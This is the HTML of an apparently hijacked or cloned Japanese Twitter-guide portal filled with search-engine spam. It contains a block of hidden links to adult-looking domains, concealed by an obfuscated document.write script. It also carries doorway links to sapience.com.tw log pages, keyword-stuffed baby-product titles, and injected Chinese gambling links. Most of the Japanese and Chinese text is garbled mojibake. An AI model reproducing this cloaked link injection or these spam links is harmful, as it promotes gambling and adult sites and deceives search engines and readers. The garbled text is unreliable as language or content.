<a class="z7z8z9z6" href="http://www.qqav4444net.top/">http://www.qqav4444net.top/</a>
<a class="z7z8z9z6" href="http://www.www5a78com.top/">http://www.www5a78com.top/</a>
<a class="z7z8z9z6" href="http://www.hztuokuncom.top/">http://www.hztuokuncom.top/</a>
<a class="z7z8z9z6" href="http://www.wwwqqqav7979net.top/">http://www.wwwqqqav7979net.top/</a>
<a class="z7z8z9z6" href="http://www.sscaoacom.top/">http://www.sscaoacom.top/</a>
<a class="z7z8z9z6" href="http://www.51yeyelu.info/">http://www.51yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.52luyilu.info/">http://www.52luyilu.info/</a>
<a class="z7z8z9z6" href="http://www.52yeyelu.info/">http://www.52yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.91yeyelu.info/">http://www.91yeyelu.info/</a>
<a class="z7z8z9z6" href="http://www.yeyelupic.info/">http://www.yeyelupic.info/</a>
<script>document.write ('</' + 'di' + 'v c' + 'l' + 'ass=' + '"' + 'z7z' + '8z9z' + '6' + '"' + '>');</script>
<!DOCTYPE html>
<html lang="ja">
<head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#">
<meta charset="UTF-8" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</title>
<meta name="description" content="ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
,ããã³ã³ãã©ã¼ã ã«ã¼ã©ï¼ãããã¿ãã¼ãºï¼BeBe Confort Lola æ¥æ¬è²å
nihonikuji Aåããã¼ã«ã¼,ãã¯ã¤ãã¬ã¼ãã« ãã£ã¢ã¯ã©ãã» ãªã¼ã4ãã£ã¹ã¨ãã°ã·ã§ã㯠FD600 ã³ã³ã combiï¼ã·ã¼ã³ãã©ãã¯ï¼ FD-600 ããã¼ã«ã¼?ãã®ã¼ Aåããã¼ã«ã¼ 4輪ãã£ã¹ã¿ã¼ ã1908527304ã" />
<meta name="keywords" content="ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
" />
<meta name="robots" content="noydir" />
<meta name="robots" content="noodp" />
<meta name="robots" content="index,follow" />
<script type="text/javascript" src="./jquery.js"></script>p-8483.html"
<meta property="og:title" content="ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
" /><meta property="og:description" content="ããã³ã ãã£ã¤ã«ãã·ã¼ãã«ãã¼ èªè»¢è»ååä¾ä¹ãå°ç¨é²å¯å
· ãã©ãã¯ã¹ã¿ã¼ããã èªè»¢è» èªè»¢è»ç¨ãã£ã¤ã«ãã·ã¼ã Wipcream èªè»¢è» èªè»¢è»ç¨ãã£ã¤ã«ãã·ã¼ã,ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
" /><meta property="og:type" content="website" />
<meta name="twitter:card" content="summary">
<meta name="twitter:site" content="ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
">
<meta name="twitter:title" content="ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
">
<meta name="twitter:description" content="æ°å?æªéå°çµå¸å£ã¹ãªã¼ãã¿ã¤ã 10ç¹ äº¬é½è¥¿å·çµå¸å£ã»ãã ããã¼å¸å£ãHLS_DUã,ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
">
<link rel="index" href="/" />
<link rel="stylesheet" type="text/css" href="http://twinavi.jp/css/style_dante.css?1450773495" /><!--[if lt IE 9]>
<link rel="stylesheet" type="text/css" href="/css/style_dante_ie.css?1450773495" /><script src="http://html5shiv.googlecode.com/svn/trunk/html5.js"></script>
<![endif]-->
</head>
<body id="homepage">
<header id="pageheader" class="contents xsmall">
<h1 class="light">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</h1>
<ul id="header-links">
<li class="inline"><a href="" class="mark-arrow">ãã«ã</a></li>
</ul>
<div id="globalnav-signin" class="off">
<a href="" class="block" onClick="_gaq.push(['_trackEvent','LoginButton_PC','click','Global']);"><span class="bold">Twitter</span>ã§ãã°ã¤ã³</a>
</div>
<a href="" class="logo altimg logo-home" title="ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</a>
</header>
<!-- global navi -->
<div id="globalnav" class="wrapper"><div class="contents">
<nav><ul>
<li><a href="./index.html" class="column gn-home"><span class="altimg ic-home">ãã¼ã </span></a></li>
<li><a href="" class="column">ãã¤ãã¬ã¤ã¸ã </a></li>
<li><a href="" class="column">ã¢ã«ã¦ã³ã</a></li>
<li><a href="" class="column">ã¾ã¨ã</a></li>
<li><a href="" class="column">ããã¡ãï¼ããã¬ã³ï¼</a></li>
<li><a href="https://twitter.com/" class="column"><span class="altimg ic-new">NEW!!</span>ãã¤ãã¿ã¼æ¤ç´¢</a></li>
<li><a href="" class="column">ãã¤ãã¿ã¼ã¬ã¤ã</a></li>
</ul><div class="clearfix"></div></nav>
<div id="gn-search">
<form id="globalnav-search" method="GET" action="/search2/">
<input type="text" name="keyword" value="" placeholder="ããã¡ãï¼ããªãªï¼" class="formtext" maxlength="60"/><input type="hidden" name="ref" value="searchbox"/><input type="image" src="http://twinavi.jp/img/dante/btn_search.png" value="æ¤ç´¢ãã" />
</form>
</div>
</div></div>
<!-- //global navi -->
<!-- local navi -->
<!-- //local navi -->
<!-- MAIN CONTENTS -->
<div id="pagewrapper" class="contents">
<div class="column main">
<div class="section">
<h1 class="xsmall label orange column">HOTã¯ã¼ã</h1>
<ul class="giftext icon-l" style="margin-left:75px">
<li class="inline"><a href="" class="txt-inline">æ¨è£½ã¬ã³ã¸</a></li>
<li class="inline"><a href="" class="txt-inline">注ç®ãã¥ã¼ã¹</a></li>
<li class="inline"><a href="" class="txt-inline">ãã¤ãã¿ã¼æ¤ç´¢</a></li>
<li class="inline"><a href="" class="txt-inline">çµå¸å£ãã¡ã³ã¿ã¸ã¼ 6ç¹ã»ãã</a></li>
</ul>
</div>
<section id="home-article" class="section">
<header class="section-title navi">
<h1 class="small"><a href="" style="color:#333">話é¡</a></h1>
<div class="home-buzzcategory">
<ul>
<li class="li-tab"><a id="tab-pickup" class="tab-selector-article tab s xsmall on">ããã¯ã¢ãã</a></li>
<li class="li-tab"><a id="tab-news" class="tab-selector-article tab s xsmall">ã¹ã¼ã¸ã¼ãºã¼ 5WAYã¯ã¼ãã¡ã³</a></li>
<li class="li-tab"><a id="tab-tidbits" class="tab-selector-article tab s xsmall">ãªã¢ã·ã</a></li>
<li class="li-tab"><a id="tab-lifestyle" class="tab-selector-article tab s xsmall">ã¢ã³ãã³ãã³ ã³ããªã³ï¼</a></li>
<li class="li-tab"><a id="tab-entertainment" class="tab-selector-article tab s xsmall">ã¨ã³ã¿ã¡</a></li>
<li class="li-tab"><a id="tab-it" class="tab-selector-article tab s xsmall">IT</a></li>
<li class="li-tab"><a id="tab-culture" class="tab-selector-article tab s xsmall">ãããã³</a></li>
<li class="li-tab"><a id="tab-sports" class="tab-selector-article tab s xsmall">ã¹ãã¼ã</a></li>
</ul>
<div class="clearfix"></div>
</div>
</header>
<div id="tab-pickup-content-article" class="tab-content tab-content-article on">
<div class="section-body">
<div class="column home-buzzimage">
<a href="" class="block"><img src="" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<ul class="list-article">
<li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021644967.html">http://sapience.com.tw/logs/site-nipponki/02021644967.html</a></li>
<li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021756653.html">http://sapience.com.tw/logs/site-nipponki/02021756653.html</a></li>
<li class="home-buzzlink dotted"><a href="http://sapience.com.tw/logs/site-nipponki/02021759030.html">http://sapience.com.tw/logs/site-nipponki/02021759030.html</a></li>
<li class="home-buzzlink dotted"><a href="" class="">ãµã¦ã¸ãã¤ã©ã³ã¨å¤äº¤é¢ä¿æçµ¶ã大使館襲æåã</a></li>
</ul>
<a href="" class="xsmall">ãä¸è¦§ã¸ã</a>
</div>
</div>
</div>
</section>
<!-- TWINAVI NEWS -->
<section id="home-news" class="section">
<h1 class="section-title small navi"><a href="">ãã¤ããã®ãããã</a></h1>
<div class="">
<ul>
<li class="column home-news-box home-news-box0">
<span class="column icon-m">
<a href="http://twinavi.jp/topics/culture/55c5bc46-19f0-4ba7-a2c5-3812ac133a21"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/09/aekanaru-fig3.jpg" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
,ã¡ãã£ã«ã«ãã¡ã¼ã¹ãα ã¨ãã°ã·ã§ã㯠EG ã³ã³ã CombiãHLS_DUã</a>
</span>
</li>
<li class="column home-news-box home-news-box1">
<span class="column icon-m">
<a href=""><img src="" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="">ãã¤ãã¿ã¼ãã«ã¼ã«ã¨ããªã·ã¼ãæ¹å®ããã©ã¤ãã·ã¼ä¿è·ã¨ãæ»æçè¡çºã®ç¦æ¢ãããæç¢ºã«</a>
</span>
</li>
<div class="clearfix"></div>
<li class="column home-news-box home-news-box2">
<span class="column icon-m">
<a href=""><img src="" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="http://sapience.com.tw/logs/site-nipponki/02021635176.html">http://sapience.com.tw/logs/site-nipponki/02021635176.html</a>
</span>
</li>
<li class="column home-news-box home-news-box3">
<span class="column icon-m">
<a href=""><img src="" class="article-thumbnail" alt="" /></a>
</span>
<span class="giftext icon-m small">
<a href="">大éªã»å°é¢¨ã»ç½å®³ã»äº¤éã»ã©ã¤ãã©ã¤ã³ã®æ
å ±ãªã³ã¯é</a>
</span>
</li>
</ul>
<div class="clearfix"></div>
</div>
</section>
<!-- //TWINAVI NEWS -->
<div class="column main-right">
<section id="home-accountranking" class="section">
<h1 class="section-title navi small"><a href="">ãã¤ãã¿ã¼äººæ°ã¢ã«ã¦ã³ãã»ã©ã³ãã³ã°</a></h1>
<span class="caution uptime xxsmall">1/4æ´æ°</span>
<div class="home-accountcategory tabwrapper s">
<ul>
<li class="li-tab"><a id="tab-account1" class="tab-selector-account tab s xsmall on">ç·å</a></li>
<li class="li-tab"><a id="tab-account2" class="tab-selector-account tab s xsmall">æå人ã»è¸è½äºº</a></li>
<li class="li-tab"><a id="tab-account3" class="tab-selector-account tab s xsmall">ãã©ã¤ã³ã°ã¸ã§ãã</a></li>
<li class="li-tab"><a id="tab-account4" class="tab-selector-account tab s xsmall">ãã¥ã¼ã¸ã·ã£ã³</a></li>
<li class="li-tab"><a id="tab-account5" class="tab-selector-account tab last s xsmall">ãªããã¹ã±ã¼ã</a></li>
</ul>
<div class="clearfix"></div>
</div>
<div id="tab-account1-content-account" class="tab-content tab-content-account on">
<div class="section-body">
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank1">1</span>
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon l" />
</span>
<span class="xsmall">GACKT</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank2">2</span>
<img src="http://pbs.twimg.com/profile_images/583313979763617792/SnAobnzc_bigger.jpg" alt="ããããã¥ã¼" class="icon l" />
</span>
<span class="xsmall">ã¹ãã¼ãã¼ããªã¼ã ã¹ã¿ã¼10ç¹ã»ãã</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank3">3</span>
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon l" />
</span>
<span class="xsmall">SHOPLIST</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank4">4</span>
<img src="http://pbs.twimg.com/profile_images/667352898687205377/7zMXkcFD_bigger.jpg" alt="西å
ã¾ãã" class="icon l" />
</span>
<span class="xsmall">西å
ã¾ãã</span></a>
</div>
<div class="column icon-l centered">
<a href="">
<span class="rankimage">
<span class="rank rank5">5</span>
<img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ã·ã§ããã¸ã£ãã³ãå
¬å¼ã" class="icon l" />
</span>
<span class="xsmall">ã·ã§ãã...</span></a>
</div>
<div class="clearfix"></div>
</div>
<div class="section-footer endline">
<a href="" class="link-more">ãã«ã¼ã ISOFIX ã¨ãã°ã·ã§ã㯠NF 800 ãã¯ã¤ãã¬ã¼ãã« ã³ã³ã ã¢ã¤ã½ãã£ãã¯ã¹ ã³ã³ã Combi ãã£ã¤ã«ã?ã¸ã¥ãã¢ã·ã¼ã ãã£ã¤ã«ãã·ã¼ã ã2908527304ã</a>
</div>
</div>
<section id="home-articleranking" class="section">
<h1 class="section-title small navi"><a href="/topics">話é¡ã¢ã¯ã»ã¹ã©ã³ãã³ã°</a></h1>
<div class="section-body">
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://api.rethumb.com/v1/width/500/http://news.tv-asahi.co.jp/articles_img/000054140_640.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ãã¥ã¼ã¹</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021807661.html">http://sapience.com.tw/logs/site-nipponki/02021807661.html</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021742749.html">http://sapience.com.tw/logs/site-nipponki/02021742749.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>ãã¯ã¤ãã¬ã¼ãã« ãã«ã¼ã ã¨ãã°ã·ã§ã㯠NC-520 ã³ã³ã combi ãã¯ã¤ãã¬ã¼ãã« ãã£ã¤ã«ã?ã¸ã¥ãã¢ã·ã¼ã ãã£ã¤ã«ãã·ã¼ã å転å¼ã2908527301ã</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://natalie.mu/media/comic/1502/0212/extra/news_xlarge_majicalo.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="http://twinavi.jp/topics/entertainment#topics-ranking">ã¨ã³ã¿ã¡</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>æ°éã»é鿝æ¥ãæãç±è¡éæ³å°å¥³ã¢ã¯ã·ã§ã³...</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>ãã«ã¾ããã© ããã¼ãããï¼ãã¾ ã©ã¤ããã©ã¦ã³ï¼ 大åå± yamatoyaå¯å
·?ããã ããã¼ããã ãã®ã éæ°æ§ ãHLS_DUã,ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021720734.html">http://sapience.com.tw/logs/site-nipponki/02021720734.html</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://pbs.twimg.com/media/CXxje1GUMAAo8pE.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ãªã¢ã·ã</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ãã³ãã¨åçã®é¢ä¿æ§ã«ã¤ãã¦ã</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021715110.html">http://sapience.com.tw/logs/site-nipponki/02021715110.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>åä¾ãã¡ã«ãããããã¹ã¦ã®å¤§äººãã¡ã¸ããã¾...</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="/topics/lifestyle/560bcdc1-aa20-49c0-aa74-6230ac133a21" class="block"><img src="http://twinavi.jp/articles/wp-content/uploads/2015/11/tweet-alt-pic.png" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ã©ã¤ãã¹ã¿ã¤ã«</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021720620.html">http://sapience.com.tw/logs/site-nipponki/02021720620.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>æ¯ãä¸å¹¸ãªã®ã¯ãããã®ããã§ã¯ãªããããã...</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>ãã«ã¼ã ISOFIX ã¨ãã°ã·ã§ã㯠NF 700 ã¹ãã¼ã¯ãªã³ã°ãã©ã¦ã³ ãã¯ã¤ãã¬ã¼ãã« ã³ã³ã ã¢ã¤ã½ãã£ãã¯ã¹ ã³ã³ã Combi ãã£ã¤ã«ãã·ã¼ã ã2908527304ã</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="/img/topics/thumbnail/internetcom.gif?1450773495" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">IT</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>Google ã«ã¬ã³ãã¼ã®ãã¼ã¿ã Excel ã«ã¨ã¯ã¹...</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021709310.html">http://sapience.com.tw/logs/site-nipponki/02021709310.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>å®¶æã§ä½¿ããããLINEã¹ã¿ã³ãç»å ´--ãæ´æ¿¯ã...</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://www.gizmodo.jp/images/2015/12/151225arcticwinter.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ã«ã«ãã£ã¼</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>ãã¥ã¢ã«ãã£ãã¯ã¹ Dual Fixï¼ãã©ãã¯ãµã³ãã¼ï¼ ãã©ã¤ã¿ãã¯ã¹ Britaxãã£ã¤ã«ãã·ã¼ã?ã¸ã¥ãã¢ã·ã¼ã ãã£ã¤ã«ãã·ã¼ã ISOFIX ãã³ã°ã¦ã¼ã¹</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank2">2</span>æµ·ã®ä¸ã¯ãã¼ãã«é«ãããâ¦SpaceXãã¤ãã«å°...</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021709542.html">http://sapience.com.tw/logs/site-nipponki/02021709542.html</a></li>
</ol>
</div>
<div class="clearfix"></div>
<div class="column home-buzzimage">
<a href="" class="block"><img src="http://f.image.geki.jp/data/image/news/2560/154000/153676/news_153676_1.jpg" class="article-thumbnail" alt="" /></a>
</div>
<div class="home-buzzlinks">
<h2 class="small"><a href="">ã¹ãã¼ã</a>ï¼</h2>
<ol class="home-rankinglist">
<li class="small list-s"><a href="" class="ranking"><span class="rank rank1">1</span>徳島ãDFææ¾ã®å¥ç´æºäºãçºè¡¨</a></li>
<li class="small list-s"><a href="http://sapience.com.tw/logs/site-nipponki/02021707752.html">http://sapience.com.tw/logs/site-nipponki/02021707752.html</a></li>
<li class="small list-s"><a href="" class="ranking"><span class="rank rank3">3</span>ãå½¼ãã¯ç´ æ´ããã鏿ãåæ§ç£¨ããç¥å¥å·ç...</a></li>
</ol>
</div>
<div class="clearfix"></div>
</div>
</section>
<section id="home-faq" class="section">
<h1 class="section-title small navi"><a href="">Twitterä½¿ãæ¹ã¬ã¤ãããããã質åã¢ã¯ã»ã¹ã©ã³ãã³ã°</a></h1>
<div class="section-body">
<ol>
<li class="small list-l lined"><a href="http://sapience.com.tw/logs/site-nipponki/02021739714.html">http://sapience.com.tw/logs/site-nipponki/02021739714.html</a></li>
<li class="small list-l lined"><a href="" class="ranking"><span class="rank rank2">2</span>èªåã®ãã¤ã¼ããåé¤ããã«ã¯ã©ããããããã§ããï¼</a></li>
<li class="small list-l lined"><a href="" class="ranking"><span class="rank rank3">3</span>ãã¯ã¤ãã¬ã¼ãã« ãã«ã¼ã ã¨ãã°ã·ã§ã㯠NC-470 ã³ã³ã combiï¼ããªã©ã¢ã«ï¼ ãã¯ã¤ãã¬ã¼ãã« ã³ã³ã combi ãã£ã¤ã«ã?ã¸ã¥ãã¢ã·ã¼ã ãã£ã¤ã«ãã·ã¼ã åè»¢å¼ ã2908527301ã</a></li>
</ol>
</div>
<div class="section-footer">
<a href="" class="link-more">ãã£ã¨ç¥ãããï¼ãTwitterä½¿ãæ¹ã¬ã¤ãã</a>
</div>
</section>
</div>
</div>
<aside class="column sub">
<section id="twinavi-tweet" class="section">
<h1 class="section-title small">ææ°ã®ãã¤ãããã¤ã¼ã</h1>
<div class="section-body">
<p class="small">ã話é¡ã®ãã¤ã¼ããç§ããâªãæãä¼ãããâª ç·æ¥åºåãâªãã£ã¦æãã°ãåä¾éã¯â¦ <a rel="nofollow" target="_blank" href="">ã¿ã¯ã¼ã¹ãã¼ã TOWER SLOPE ãã³ãã¼ã¤ PINTOYï¼ã¿ã¯ã¼ã¹ãã¼ãï¼ ãã³ãã¼ã¤ PINTOY ããã¡ã?éå
· æ¨ã®ããã¡ã</a></p>
</div>
<div class="follow_sidebar follow_twitter">
<span class="altimg hukidashi"></span>
<div class="column">
<a href="" title="ãã¤ããã®Twitterã¢ã«ã¦ã³ã" class="altimg icon m ic-twinavi">ã¹ã¯ãã¼ã«ãã§ã¢ ãã©ã¹ ãã¡ã«ã¹ã« ãããã³ã°ãã§ã¢ ãã³ã°ã¦ã¼ã¹ ã°ã©ã³ãã¼ã« Grandoir å®¶å
·ã»ããã ããã¼ãã§ã¢
<</a>
</div>
<div class="giftext icon-m">
<a href="" title="ãã¤ããã®Twitterã¢ã«ã¦ã³ã" class="small">Twitterã®ææ°æ
å ±ããã§ãã¯ãããï¼</a>
<a href="https://twitter.com/" class="twitter-follow-button" data-show-count="false" data-lang="ja" data-show-screen-name="true">ããã©ãã¼</a>
</div>
<div class="clearfix"></div>
</div>
</section>
<section id="facebook" class="section">
<p class="small">Facebook<a href="http://www.xpj3344111.com/">ÐÂÆÏ¾©ÓéÀÖ</a>
<a href="http://www.zq3344111.com/">ÕæÇ®Å£Å£</a>
<a href="http://www.ylc3344111.com/">ÓéÀÖ³Ç</a>
<a href="http://www.xy28tu.com/">pcµ°µ°×ßÊÆÍ¼</a>
<a href="http://www.pcrgs.com/">pcµ°µ°ÔÚÏßÔ¤²âÍø</a>
<a href="http://www.nin168.com/">pcµ°µ°ÐÒÔË28app</a>
<a href="http://www.xinjiapo28app.com/">ÐÂ¼ÓÆÂÐÒÔË28app</a>
<a href="http://www.jianada28app.com/">¼ÓÄôóÐÒÔË28</a>
<a href="http://www.kuai28.com/">ÐÒÔË28¼¼ÇÉ</a>
<a href="http://www.pcdd-app.com/">pcµ°µ°ÐÒÔË28app</a>
<a href="http://www.xy28xiazai.com/">pcµ°µ°×ßÊÆÍ¼</a>
<a href="http://www.8883344111.com/">888ÕæÈËÓéÀÖ</a>
<a href="http://www.uni588.com/web/zhongbanghaotie/25562.html">È«Ñ¶Íø</a>
<a href="http://www.uni588.com/web/zhongbanghaotie/25563.html">ÕæÈËţţ</a>
<a href="http://www.yl3344111.com/">ÓÀÀûÓéÀÖ</a>
<a href="http://www.qx3344111.com/">È«Ñ¶Íø</a>
<a href="http://www.zr3344111.com/">888ÕæÈËÓéÀÖ</a>
<a href="http://www.xy28uu.com/">xy28Ô¤²â</a></p>
<div class="follow_fb"><div id="fb-root"></div><div class="fb-like" data-href="https://www.facebook.com/" data-send="false" data-layout="button_count" data-width="55" data-show-faces="false"></div></div>
</section>
<section id="home-side-account" class="section">
<h1 class="section-title small sub"><a href="">æåã¢ã«ã¦ã³ããæ¢ã</a></h1>
<div class="section-body-sub">
<ul>
<li>
<a href="" class="lined all block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ç·å<br />
<span class="num mute xsmall">71,071人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/645312064815128576/v_uMNqPs_bigger.jpg" alt="GACKT" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
æå人ã»è¸è½äºº<br />
<span class="num mute xsmall">2,867人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/680394216774619138/6MmJRmsb_bigger.jpg" alt="ã¿ã¯ã¼ã¬ã³ã¼ãå·å´åº(éç§°:ã¿ã¯å´)" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ã¨ã³ã¿ã¡<br />
<span class="num mute xsmall">3,226人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/525836947420237824/MNKjOzix_bigger.png" alt="SHOPLIST" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
<span style="letter-spacing:-2px">ãããã»ãã§ãã</span><br />
<span class="num mute xsmall">6,128人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/609171843761594368/oBhlek1O_bigger.png" alt="ã·ã§ããã¸ã£ãã³ãå
¬å¼ã" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ã¡ãã£ã¢<br />
<span class="num mute xsmall">ã¬ã¼ã«ãã©ãã¯ã¹ã»ãã</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/428453450527940609/6BmKmb99_bigger.jpeg" alt="æå·å¸æå±±åç©åï¼»å
¬å¼ï¼½" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
社ä¼ã»æ¿æ²»<br />
<span class="num mute xsmall">886人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/1245987829/tokoro_san_bigger.jpg" alt="æè±ç·" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ã¹ãã¼ã<br />
<span class="num mute xsmall">1,080人</span>
</span>
</a>
</li>
<li>
<a href="" class="lined last block">
<span class="column icon-32">
<img src="http://pbs.twimg.com/profile_images/666407537084796928/YBGgi9BO_bigger.png" alt="Twitter" class="icon icon32" style="margin-top:3px" />
</span>
<span class="giftext icon-32 small">
ãã¸ãã¹ã»çµæ¸<br />
